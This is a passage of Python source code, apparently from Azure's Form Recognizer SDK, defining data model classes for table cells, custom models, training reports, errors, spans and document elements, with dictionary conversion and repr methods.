kwargs.get(\"row_index\", None)\n self.column_index = kwargs.get(\"column_index\", None)\n self.row_span = kwargs.get(\"row_span\", 1)\n self.column_span = kwargs.get(\"column_span\", 1)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n self.is_header = kwargs.get(\"is_header\", False)\n self.is_footer = kwargs.get(\"is_footer\", False)\n self.page_number = kwargs.get(\"page_number\", None)\n self.field_elements = kwargs.get(\"field_elements\", None)\n\n @classmethod\n def _from_generated(cls, cell, page, read_result):\n return cls(\n text=cell.text,\n row_index=cell.row_index,\n column_index=cell.column_index,\n row_span=cell.row_span or 1,\n column_span=cell.column_span or 1,\n bounding_box=get_bounding_box(cell),\n confidence=adjust_confidence(cell.confidence),\n is_header=cell.is_header or False,\n is_footer=cell.is_footer or False,\n page_number=page,\n field_elements=[\n resolve_element(element, read_result) for element in cell.elements\n ]\n if cell.elements\n else None,\n )\n\n def __repr__(self):\n return (\n \"FormTableCell(text={}, row_index={}, column_index={}, row_span={}, column_span={}, \"\n \"bounding_box={}, confidence={}, is_header={}, is_footer={}, page_number={}, field_elements={})\".format(\n self.text,\n self.row_index,\n self.column_index,\n self.row_span,\n self.column_span,\n self.bounding_box,\n self.confidence,\n self.is_header,\n self.is_footer,\n self.page_number,\n repr(self.field_elements),\n )[\n :1024\n ]\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormTableCell.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"text\": self.text,\n \"row_index\": self.row_index,\n \"column_index\": self.column_index,\n \"row_span\": self.row_span,\n \"column_span\": self.column_span,\n \"confidence\": self.confidence,\n \"is_header\": self.is_header,\n \"is_footer\": self.is_footer,\n \"page_number\": self.page_number,\n \"bounding_box\": [box.to_dict() for box in self.bounding_box]\n if self.bounding_box\n else [],\n \"field_elements\": [element.to_dict() for element in self.field_elements]\n if self.field_elements\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormTableCell\n \"\"\"Converts a dict in the shape of a FormTableCell to the model itself.\n\n :param dict data: A dictionary in the shape of FormTableCell.\n :return: FormTableCell\n :rtype: FormTableCell\n \"\"\"\n field_elements = []\n for v in data.get(\"field_elements\"): # type: ignore\n if v.get(\"kind\") == \"word\":\n field_elements.append(FormWord.from_dict(v)) # type: ignore\n elif v.get(\"kind\") == \"line\":\n field_elements.append(FormLine.from_dict(v)) # type: ignore\n elif v.get(\"kind\") == \"selectionMark\":\n field_elements.append(FormSelectionMark.from_dict(v)) # type: ignore\n else:\n field_elements.append(FormElement.from_dict(v)) # type: ignore\n\n return cls(\n text=data.get(\"text\", None),\n row_index=data.get(\"row_index\", None),\n column_index=data.get(\"column_index\", None),\n row_span=data.get(\"row_span\", None),\n column_span=data.get(\"column_span\", None),\n confidence=data.get(\"confidence\", None),\n is_header=data.get(\"is_header\", None),\n is_footer=data.get(\"is_footer\", None),\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n field_elements=field_elements,\n )\n\n\nclass CustomFormModel(object):\n \"\"\"Represents a trained model.\n\n :ivar str model_id: The unique identifier of this model.\n :ivar str status:\n Status indicating the model's readiness for use,\n :class:`~azure.ai.formrecognizer.CustomFormModelStatus`.\n Possible values include: 'creating', 'ready', 'invalid'.\n :ivar ~datetime.datetime training_started_on:\n The date and time (UTC) when model training was started.\n :ivar ~datetime.datetime training_completed_on:\n Date and time (UTC) when model training completed.\n :ivar list[~azure.ai.formrecognizer.CustomFormSubmodel] submodels:\n A list of submodels that are part of this model, each of\n which can recognize and extract fields from a different type of form.\n :ivar list[~azure.ai.formrecognizer.FormRecognizerError] errors:\n List of any training errors.\n :ivar list[~azure.ai.formrecognizer.TrainingDocumentInfo] training_documents:\n Metadata about each of the documents used to train the model.\n :ivar str model_name: Optional user defined model name.\n :ivar properties: Optional model properties.\n :vartype properties: ~azure.ai.formrecognizer.CustomFormModelProperties\n\n .. versionadded:: v2.1\n The *model_name* and *properties* properties, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.model_id = kwargs.get(\"model_id\", None)\n self.status = kwargs.get(\"status\", None)\n self.training_started_on = kwargs.get(\"training_started_on\", None)\n self.training_completed_on = kwargs.get(\"training_completed_on\", None)\n self.submodels = kwargs.get(\"submodels\", None)\n self.errors = kwargs.get(\"errors\", None)\n self.training_documents = kwargs.get(\"training_documents\", None)\n self.model_name = kwargs.get(\"model_name\", None)\n self.properties = kwargs.get(\"properties\", None)\n\n @classmethod\n def _from_generated(cls, model, api_version):\n model_name = (\n model.model_info.model_name\n if hasattr(model.model_info, \"model_name\")\n else None\n )\n properties = (\n CustomFormModelProperties._from_generated(model.model_info)\n if hasattr(model.model_info, \"attributes\")\n else None\n )\n return cls(\n model_id=model.model_info.model_id,\n status=model.model_info.status,\n training_started_on=model.model_info.created_date_time,\n training_completed_on=model.model_info.last_updated_date_time,\n submodels=CustomFormSubmodel._from_generated_unlabeled(model)\n if model.keys\n else CustomFormSubmodel._from_generated_labeled(\n model, api_version, model_name=model_name\n ),\n errors=FormRecognizerError._from_generated(model.train_result.errors)\n if model.train_result\n else None,\n training_documents=TrainingDocumentInfo._from_generated(model.train_result)\n if model.train_result\n else None,\n properties=properties,\n model_name=model_name,\n )\n\n @classmethod\n def _from_generated_composed(cls, model):\n return cls(\n model_id=model.model_info.model_id,\n status=model.model_info.status,\n training_started_on=model.model_info.created_date_time,\n training_completed_on=model.model_info.last_updated_date_time,\n submodels=CustomFormSubmodel._from_generated_composed(model),\n training_documents=TrainingDocumentInfo._from_generated_composed(model),\n properties=CustomFormModelProperties._from_generated(model.model_info),\n model_name=model.model_info.model_name,\n )\n\n def __repr__(self):\n return (\n \"CustomFormModel(model_id={}, status={}, training_started_on={}, training_completed_on={}, \"\n \"submodels={}, errors={}, training_documents={}, model_name={}, properties={})\".format(\n self.model_id,\n self.status,\n self.training_started_on,\n self.training_completed_on,\n repr(self.submodels),\n repr(self.errors),\n repr(self.training_documents),\n self.model_name,\n repr(self.properties),\n )[\n :1024\n ]\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CustomFormModel.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_id\": self.model_id,\n \"status\": self.status,\n \"training_started_on\": self.training_started_on,\n \"training_completed_on\": self.training_completed_on,\n \"submodels\": [submodel.to_dict() for submodel in self.submodels]\n if self.submodels\n else [],\n \"errors\": [err.to_dict() for err in self.errors] if self.errors else [],\n \"training_documents\": [doc.to_dict() for doc in self.training_documents]\n if self.training_documents\n else [],\n \"model_name\": self.model_name,\n \"properties\": self.properties.to_dict() if self.properties else None,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CustomFormModel\n \"\"\"Converts a dict in the shape of a CustomFormModel to the model itself.\n\n :param dict data: A dictionary in the shape of CustomFormModel.\n :return: CustomFormModel\n :rtype: CustomFormModel\n \"\"\"\n return cls(\n model_id=data.get(\"model_id\", None),\n status=data.get(\"status\", None),\n training_started_on=data.get(\"training_started_on\", None),\n training_completed_on=data.get(\"training_completed_on\", None),\n submodels=[CustomFormSubmodel.from_dict(v) for v in data.get(\"submodels\")] # type: ignore\n if len(data.get(\"submodels\", [])) > 0\n else [],\n errors=[FormRecognizerError.from_dict(v) for v in data.get(\"errors\")] # type: ignore\n if len(data.get(\"errors\", [])) > 0\n else [],\n training_documents=[\n TrainingDocumentInfo.from_dict(v) for v in data.get(\"training_documents\") # type: ignore\n ]\n if len(data.get(\"training_documents\", [])) > 0\n else [],\n model_name=data.get(\"model_name\", None),\n properties=CustomFormModelProperties.from_dict(data.get(\"properties\")) # type: ignore\n if data.get(\"properties\")\n else None,\n )\n\n\nclass CustomFormSubmodel(object):\n \"\"\"Represents a submodel that extracts fields from a specific type of form.\n\n :ivar str model_id: Model identifier of the submodel.\n :ivar float accuracy: The mean of the model's field accuracies.\n :ivar fields: A dictionary of the fields that this submodel will recognize\n from the input document. The fields dictionary keys are the `name` of\n the field. For models trained with labels, this is the training-time\n label of the field. For models trained without labels, a unique name\n is generated for each field.\n :vartype fields: dict[str, ~azure.ai.formrecognizer.CustomFormModelField]\n :ivar str form_type: Type of form this submodel recognizes.\n\n .. versionadded:: v2.1\n The *model_id* property, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.model_id = kwargs.get(\"model_id\", None)\n self.accuracy = kwargs.get(\"accuracy\", None)\n self.fields = kwargs.get(\"fields\", None)\n self.form_type = kwargs.get(\"form_type\", None)\n\n @classmethod\n def _from_generated_unlabeled(cls, model):\n return [\n cls(\n model_id=model.model_info.model_id,\n accuracy=None,\n fields=CustomFormModelField._from_generated_unlabeled(fields),\n form_type=\"form-\" + cluster_id,\n )\n for cluster_id, fields in model.keys.clusters.items()\n ]\n\n @classmethod\n def _from_generated_labeled(cls, model, api_version, model_name):\n if api_version == \"2.0\":\n form_type = \"form-\" + model.model_info.model_id\n elif model_name:\n form_type = \"custom:\" + model_name\n else:\n form_type = \"custom:\" + model.model_info.model_id\n\n return (\n [\n cls(\n model_id=model.model_info.model_id,\n accuracy=model.train_result.average_model_accuracy,\n fields={\n field.field_name: CustomFormModelField._from_generated_labeled(\n field\n )\n for field in model.train_result.fields\n }\n if model.train_result.fields\n else None,\n form_type=form_type,\n )\n ]\n if model.train_result\n else None\n )\n\n @classmethod\n def _from_generated_composed(cls, model):\n return [\n cls(\n accuracy=train_result.average_model_accuracy,\n fields={\n field.field_name: CustomFormModelField._from_generated_labeled(\n field\n )\n for field in train_result.fields\n }\n if train_result.fields\n else None,\n form_type=\"custom:\" + train_result.model_id,\n model_id=train_result.model_id,\n )\n for train_result in model.composed_train_results\n ]\n\n def __repr__(self):\n return \"CustomFormSubmodel(accuracy={}, model_id={}, fields={}, form_type={})\".format(\n self.accuracy,\n self.model_id,\n repr(self.fields),\n self.form_type,\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CustomFormSubmodel.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_id\": self.model_id,\n \"accuracy\": self.accuracy,\n \"fields\": {k: v.to_dict() for k, v in self.fields.items()}\n if self.fields\n else {},\n \"form_type\": self.form_type,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CustomFormSubmodel\n \"\"\"Converts a dict in the shape of a CustomFormSubmodel to the model itself.\n\n :param dict data: A dictionary in the shape of CustomFormSubmodel.\n :return: CustomFormSubmodel\n :rtype: CustomFormSubmodel\n \"\"\"\n return cls(\n model_id=data.get(\"model_id\", None),\n accuracy=data.get(\"accuracy\", None),\n fields={k: CustomFormModelField.from_dict(v) for k, v in data.get(\"fields\").items()} # type: ignore\n if data.get(\"fields\")\n else {},\n form_type=data.get(\"form_type\", None),\n )\n\n\nclass CustomFormModelField(object):\n \"\"\"A field that the model will extract from forms it analyzes.\n\n :ivar str label: The form fields label on the form.\n :ivar str name: Canonical name; uniquely identifies a field within the form.\n :ivar float accuracy: The estimated recognition accuracy for this field.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.label = kwargs.get(\"label\", None)\n self.name = kwargs.get(\"name\", None)\n self.accuracy = kwargs.get(\"accuracy\", None)\n\n @classmethod\n def _from_generated_labeled(cls, field):\n return cls(name=field.field_name, accuracy=field.accuracy)\n\n @classmethod\n def _from_generated_unlabeled(cls, fields):\n return {\n \"field-{}\".format(idx): cls(\n name=\"field-{}\".format(idx),\n label=field_name,\n )\n for idx, field_name in enumerate(fields)\n }\n\n def __repr__(self):\n return \"CustomFormModelField(label={}, name={}, accuracy={})\".format(\n self.label, self.name, self.accuracy\n )[:1024]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CustomFormModelField.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\"label\": self.label, \"accuracy\": self.accuracy, \"name\": self.name}\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CustomFormModelField\n \"\"\"Converts a dict in the shape of a CustomFormModelField to the model itself.\n\n :param dict data: A dictionary in the shape of CustomFormModelField.\n :return: CustomFormModelField\n :rtype: CustomFormModelField\n \"\"\"\n return cls(\n label=data.get(\"label\", None),\n accuracy=data.get(\"accuracy\", None),\n name=data.get(\"name\", None),\n )\n\n\nclass TrainingDocumentInfo(object):\n \"\"\"Report for an individual document used for training\n a custom model.\n\n :ivar str name:\n The name of the document.\n :ivar str status:\n The :class:`~azure.ai.formrecognizer.TrainingStatus`\n of the training operation. Possible values include:\n 'succeeded', 'partiallySucceeded', 'failed'.\n :ivar int page_count:\n Total number of pages trained.\n :ivar list[~azure.ai.formrecognizer.FormRecognizerError] errors:\n List of any errors for document.\n :ivar str model_id:\n The model ID that used the document to train.\n\n .. versionadded:: v2.1\n The *model_id* property, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.name = kwargs.get(\"name\", None)\n self.status = kwargs.get(\"status\", None)\n self.page_count = kwargs.get(\"page_count\", None)\n self.errors = kwargs.get(\"errors\", None)\n self.model_id = kwargs.get(\"model_id\", None)\n\n @classmethod\n def _from_generated(cls, train_result):\n return (\n [\n cls(\n name=doc.document_name,\n status=doc.status,\n page_count=doc.pages,\n errors=FormRecognizerError._from_generated(doc.errors),\n model_id=train_result.model_id\n if hasattr(train_result, \"model_id\")\n else None,\n )\n for doc in train_result.training_documents\n ]\n if train_result.training_documents\n else None\n )\n\n @classmethod\n def _from_generated_composed(cls, model):\n training_document_info = []\n for train_result in model.composed_train_results:\n for doc in train_result.training_documents:\n training_document_info.append(\n cls(\n name=doc.document_name,\n status=doc.status,\n page_count=doc.pages,\n errors=FormRecognizerError._from_generated(doc.errors),\n model_id=train_result.model_id,\n )\n )\n return training_document_info\n\n def __repr__(self):\n return \"TrainingDocumentInfo(name={}, status={}, page_count={}, errors={}, model_id={})\".format(\n self.name, self.status, self.page_count, repr(self.errors), self.model_id\n )[\n :1024\n ]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of TrainingDocumentInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"name\": self.name,\n \"status\": self.status,\n \"page_count\": self.page_count,\n \"errors\": [err.to_dict() for err in self.errors] if self.errors else [],\n \"model_id\": self.model_id,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> TrainingDocumentInfo\n \"\"\"Converts a dict in the shape of a TrainingDocumentInfo to the model itself.\n\n :param dict data: A dictionary in the shape of TrainingDocumentInfo.\n :return: TrainingDocumentInfo\n :rtype: TrainingDocumentInfo\n \"\"\"\n return cls(\n name=data.get(\"name\", None),\n status=data.get(\"status\", None),\n page_count=data.get(\"page_count\", None),\n errors=[\n FormRecognizerError.from_dict(v) for v in data.get(\"errors\") # type: ignore\n ],\n model_id=data.get(\"model_id\", None),\n )\n\n\nclass FormRecognizerError(object):\n \"\"\"Represents an error that occurred while training.\n\n :ivar str code: Error code.\n :ivar str message: Error message.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.code = kwargs.get(\"code\", None)\n self.message = kwargs.get(\"message\", None)\n\n @classmethod\n def _from_generated(cls, err):\n return (\n [cls(code=error.code, message=error.message) for error in err]\n if err\n else []\n )\n\n def __repr__(self):\n return \"FormRecognizerError(code={}, message={})\".format(\n self.code, self.message\n )[:1024]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of FormRecognizerError.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\"code\": self.code, \"message\": self.message}\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> FormRecognizerError\n \"\"\"Converts a dict in the shape of a FormRecognizerError to the model itself.\n\n :param dict data: A dictionary in the shape of FormRecognizerError.\n :return: FormRecognizerError\n :rtype: FormRecognizerError\n \"\"\"\n return cls(\n code=data.get(\"code\", None),\n message=data.get(\"message\", None),\n )\n\n\nclass CustomFormModelInfo(object):\n \"\"\"Custom model information.\n\n :ivar str model_id: The unique identifier of the model.\n :ivar str status:\n The status of the model, :class:`~azure.ai.formrecognizer.CustomFormModelStatus`.\n Possible values include: 'creating', 'ready', 'invalid'.\n :ivar ~datetime.datetime training_started_on:\n Date and time (UTC) when model training was started.\n :ivar ~datetime.datetime training_completed_on:\n Date and time (UTC) when model training completed.\n :ivar model_name: Optional user defined model name.\n :vartype model_name: str\n :ivar properties: Optional model properties.\n :vartype properties: ~azure.ai.formrecognizer.CustomFormModelProperties\n\n .. versionadded:: v2.1\n The *model_name* and *properties* properties, support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.model_id = kwargs.get(\"model_id\", None)\n self.status = kwargs.get(\"status\", None)\n self.training_started_on = kwargs.get(\"training_started_on\", None)\n self.training_completed_on = kwargs.get(\"training_completed_on\", None)\n self.model_name = kwargs.get(\"model_name\", None)\n self.properties = kwargs.get(\"properties\", None)\n\n @classmethod\n def _from_generated(cls, model, model_id=None, **kwargs):\n if model.status == \"succeeded\": # map copy status to model status\n model.status = \"ready\"\n\n model_name = None\n if hasattr(model, \"attributes\"):\n properties = CustomFormModelProperties._from_generated(model)\n elif kwargs.pop(\"api_version\", None) == \"2.0\":\n properties = None\n else:\n properties = CustomFormModelProperties(is_composed_model=False)\n if hasattr(model, \"model_name\"):\n model_name = model.model_name\n return cls(\n model_id=model_id if model_id else model.model_id,\n status=model.status,\n training_started_on=model.created_date_time,\n training_completed_on=model.last_updated_date_time,\n properties=properties,\n model_name=model_name,\n )\n\n def __repr__(self):\n return (\n \"CustomFormModelInfo(model_id={}, status={}, training_started_on={}, training_completed_on={}, \"\n \"properties={}, model_name={})\".format(\n self.model_id,\n self.status,\n self.training_started_on,\n self.training_completed_on,\n repr(self.properties),\n self.model_name,\n )[:1024]\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CustomFormModelInfo.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"model_id\": self.model_id,\n \"status\": self.status,\n \"training_started_on\": self.training_started_on,\n \"training_completed_on\": self.training_completed_on,\n \"model_name\": self.model_name,\n \"properties\": self.properties.to_dict() if self.properties else None,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CustomFormModelInfo\n \"\"\"Converts a dict in the shape of a CustomFormModelInfo to the model itself.\n\n :param dict data: A dictionary in the shape of CustomFormModelInfo.\n :return: CustomFormModelInfo\n :rtype: CustomFormModelInfo\n \"\"\"\n return cls(\n model_id=data.get(\"model_id\", None),\n status=data.get(\"status\", None),\n training_started_on=data.get(\"training_started_on\", None),\n training_completed_on=data.get(\"training_completed_on\", None),\n model_name=data.get(\"model_name\", None),\n properties=CustomFormModelProperties.from_dict(data.get(\"properties\")) # type: ignore\n if data.get(\"properties\")\n else None,\n )\n\n\nclass AccountProperties(object):\n \"\"\"Summary of all the custom models on the account.\n\n :ivar int custom_model_count: Current count of trained custom models.\n :ivar int custom_model_limit: Max number of models that can be trained for this account.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.custom_model_count = kwargs.get(\"custom_model_count\", None)\n self.custom_model_limit = kwargs.get(\"custom_model_limit\", None)\n\n @classmethod\n def _from_generated(cls, model):\n return cls(\n custom_model_count=model.count,\n custom_model_limit=model.limit,\n )\n\n def __repr__(self):\n return \"AccountProperties(custom_model_count={}, custom_model_limit={})\".format(\n self.custom_model_count, self.custom_model_limit\n )[:1024]\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of AccountProperties.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"custom_model_count\": self.custom_model_count,\n \"custom_model_limit\": self.custom_model_limit,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> AccountProperties\n \"\"\"Converts a dict in the shape of a AccountProperties to the model itself.\n\n :param dict data: A dictionary in the shape of AccountProperties.\n :return: AccountProperties\n :rtype: AccountProperties\n \"\"\"\n return cls(\n custom_model_count=data.get(\"custom_model_count\", None),\n custom_model_limit=data.get(\"custom_model_limit\", None),\n )\n\n\nclass CustomFormModelProperties(object):\n \"\"\"Optional model properties.\n\n :ivar bool is_composed_model: Is this model composed? (default: false).\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.is_composed_model = kwargs.get(\"is_composed_model\", False)\n\n @classmethod\n def _from_generated(cls, model_info):\n if model_info.attributes:\n return cls(is_composed_model=model_info.attributes.is_composed)\n return cls(is_composed_model=False)\n\n def __repr__(self):\n return \"CustomFormModelProperties(is_composed_model={})\".format(\n self.is_composed_model\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CustomFormModelProperties.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\"is_composed_model\": self.is_composed_model}\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CustomFormModelProperties\n \"\"\"Converts a dict in the shape of a CustomFormModelProperties to the model itself.\n\n :param dict data: A dictionary in the shape of CustomFormModelProperties.\n :return: CustomFormModelProperties\n :rtype: CustomFormModelProperties\n \"\"\"\n return cls(\n is_composed_model=data.get(\"is_composed_model\", None),\n )\n\n\nclass DocumentSpan(object):\n \"\"\"Contiguous region of the content of the property, specified as an offset and length.\n\n :ivar int offset: Zero-based index of the content represented by the span.\n :ivar int length: Number of characters in the content represented by the span.\n \"\"\"\n\n def __init__(self, **kwargs):\n self.offset = kwargs.get(\"offset\", None)\n self.length = kwargs.get(\"length\", None)\n\n @classmethod\n def _from_generated(cls, span):\n if span is None:\n return span\n return cls(\n offset=span.offset,\n length=span.length,\n )\n\n def __repr__(self):\n return \"DocumentSpan(offset={}, length={})\".format(self.offset, self.length)\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentSpan.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"offset\": self.offset,\n \"length\": self.length,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentSpan\n \"\"\"Converts a dict in the shape of a DocumentSpan to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentSpan.\n :return: DocumentSpan\n :rtype: DocumentSpan\n \"\"\"\n return cls(\n offset=data.get(\"offset\", None),\n length=data.get(\"length\", None),\n )\n\n\nclass TextAppearance(object):\n \"\"\"An object representing the appearance of the text line.\n\n :ivar str style_name: The text line style name.\n Possible values include: \"other\", \"handwriting\".\n :ivar float style_confidence: The confidence of text line style.\n\n .. versionadded:: v2.1\n Support for *to_dict* and *from_dict* methods\n \"\"\"\n\n def __init__(self, **kwargs):\n self.style_name = kwargs.get(\"style_name\", None)\n self.style_confidence = kwargs.get(\"style_confidence\", None)\n\n @classmethod\n def _from_generated(cls, appearance):\n if appearance is None:\n return appearance\n return cls(\n style_name=appearance.style.name,\n style_confidence=appearance.style.confidence,\n )\n\n def __repr__(self):\n return \"TextAppearance(style_name={}, style_confidence={})\".format(\n self.style_name, self.style_confidence\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of TextAppearance.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"style_name\": self.style_name,\n \"style_confidence\": self.style_confidence,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> TextAppearance\n \"\"\"Converts a dict in the shape of a TextAppearance to the model itself.\n\n :param dict data: A dictionary in the shape of TextAppearance.\n :return: TextAppearance\n :rtype: TextAppearance\n \"\"\"\n return cls(\n style_name=data.get(\"style_name\", None),\n style_confidence=data.get(\"style_confidence\", None),\n )\n\n\nclass BoundingRegion(object):\n \"\"\"The bounding region corresponding to a page.\n\n :ivar list[~azure.ai.formrecognizer.Point] bounding_box:\n A list of 4 points representing the quadrilateral bounding box\n that outlines the text. The points are listed in clockwise\n order relative to the text orientation: top-left, top-right,\n bottom-right, bottom-left.\n Units are in pixels for images and inches for PDF.\n :ivar int page_number:\n The 1-based number of the page in which this content is present.\n \"\"\"\n\n def __init__(self, **kwargs):\n self.page_number = kwargs.get(\"page_number\", None)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n\n def __repr__(self):\n return \"BoundingRegion(page_number={}, bounding_box={})\".format(\n self.page_number, self.bounding_box\n )\n\n @classmethod\n def _from_generated(cls, region):\n return cls(\n page_number=region.page_number,\n bounding_box=get_bounding_box(region),\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of BoundingRegion.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"page_number\": self.page_number,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> BoundingRegion\n \"\"\"Converts a dict in the shape of a BoundingRegion to the model itself.\n\n :param dict data: A dictionary in the shape of BoundingRegion.\n :return: BoundingRegion\n :rtype: BoundingRegion\n \"\"\"\n return cls(\n page_number=data.get(\"page_number\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n )\n\n\nclass CurrencyValue(object):\n \"\"\"A currency value element.\n\n :ivar amount: The currency amount.\n :vartype: float\n :ivar symbol: The currency symbol, if found.\n :vartype: str\n \"\"\"\n\n def __init__(self, **kwargs):\n self.amount = kwargs.get(\"amount\", None)\n self.symbol = kwargs.get(\"symbol\", None)\n\n @classmethod\n def _from_generated(cls, data):\n return cls(\n amount=data.amount,\n symbol=data.currency_symbol,\n )\n\n def __repr__(self):\n return \"CurrencyValue(amount={}, symbol={})\".format(self.amount, self.symbol)\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of CurrencyValue.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"amount\": self.amount,\n \"symbol\": self.symbol,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> CurrencyValue\n \"\"\"Converts a dict in the shape of a CurrencyValue to the model itself.\n\n :param dict data: A dictionary in the shape of CurrencyValue.\n :return: CurrencyValue\n :rtype: CurrencyValue\n \"\"\"\n return cls(\n amount=data.get(\"amount\", None),\n symbol=data.get(\"symbol\", None),\n )\n\n\nclass DocumentContentElement(object):\n \"\"\"A DocumentContentElement.\n\n :ivar content: Text content of the document content element.\n :vartype content: str\n :ivar bounding_box: Bounding box of the document content element.\n :vartype bounding_box: list[Point]\n :ivar span: Location of the element in the full document content.\n :vartype span: ~azure.ai.formrecognizer.DocumentSpan\n :ivar confidence: Confidence of accurately extracting the document content element.\n :vartype confidence: float\n :ivar str kind: The kind of document element. Possible kinds are \"word\" or \"selectionMark\" which\n correspond to a :class:`~azure.ai.formrecognizer.DocumentWord` or\n :class:`~azure.ai.formrecognizer.DocumentSelectionMark`, respectively.\n \"\"\"\n\n def __init__(self, **kwargs):\n self.content = kwargs.get(\"content\", None)\n self.bounding_box = kwargs.get(\"bounding_box\", None)\n self.span = kwargs.get(\"span\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n self.kind = kwargs.get(\"kind\", None)\n\n def __repr__(self):\n return \"DocumentContentElement(content={}, bounding_box={}, span={}, confidence={}, kind={})\".format(\n self.content, self.bounding_box, self.span, self.confidence, self.kind\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentContentElement.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"content\": self.content,\n \"bounding_box\": [f.to_dict() for f in self.bounding_box]\n if self.bounding_box\n else [],\n \"span\": self.span.to_dict() if self.span else None,\n \"confidence\": self.confidence,\n \"kind\": self.kind,\n }\n\n @classmethod\n def from_dict(cls, data):\n # type: (dict) -> DocumentContentElement\n \"\"\"Converts a dict in the shape of a DocumentContentElement to the model itself.\n\n :param dict data: A dictionary in the shape of DocumentContentElement.\n :return: DocumentContentElement\n :rtype: DocumentContentElement\n \"\"\"\n return cls(\n content=data.get(\"content\", None),\n bounding_box=[Point.from_dict(v) for v in data.get(\"bounding_box\")] # type: ignore\n if len(data.get(\"bounding_box\", [])) > 0\n else [],\n span=DocumentSpan.from_dict(data.get(\"span\")) if data.get(\"span\") else None, # type: ignore\n confidence=data.get(\"confidence\", None),\n kind=data.get(\"kind\", None),\n )\n\n\nclass DocumentLanguage(object):\n \"\"\"An object representing the detected language for a given text span.\n\n :ivar language_code: Detected language code. Value may be an ISO 639-1 language code (ex.\n \"en\", \"fr\") or a BCP 47 language tag (ex. \"zh-Hans\").\n :vartype language_code: str\n :ivar spans: Location of the text elements in the concatenated content that the language\n applies to.\n :vartype spans: list[~azure.ai.formrecognizer.DocumentSpan]\n :ivar confidence: Confidence of correctly identifying the language.\n :vartype confidence: float\n \"\"\"\n\n def __init__(self, **kwargs):\n self.language_code = kwargs.get(\"language_code\", None)\n self.spans = kwargs.get(\"spans\", None)\n self.confidence = kwargs.get(\"confidence\", None)\n\n @classmethod\n def _from_generated(cls, language):\n return cls(\n language_code=language.language_code,\n spans=prepare_document_spans(language.spans),\n confidence=language.confidence,\n )\n\n def __repr__(self):\n return \"DocumentLanguage(language_code={}, spans={}, confidence={})\".format(\n self.language_code,\n repr(self.spans),\n self.confidence,\n )\n\n def to_dict(self):\n # type: () -> dict\n \"\"\"Returns a dict representation of DocumentLanguage.\n\n :return: dict\n :rtype: dict\n \"\"\"\n return {\n \"language_code\": self.language_code,\n \"spans\": 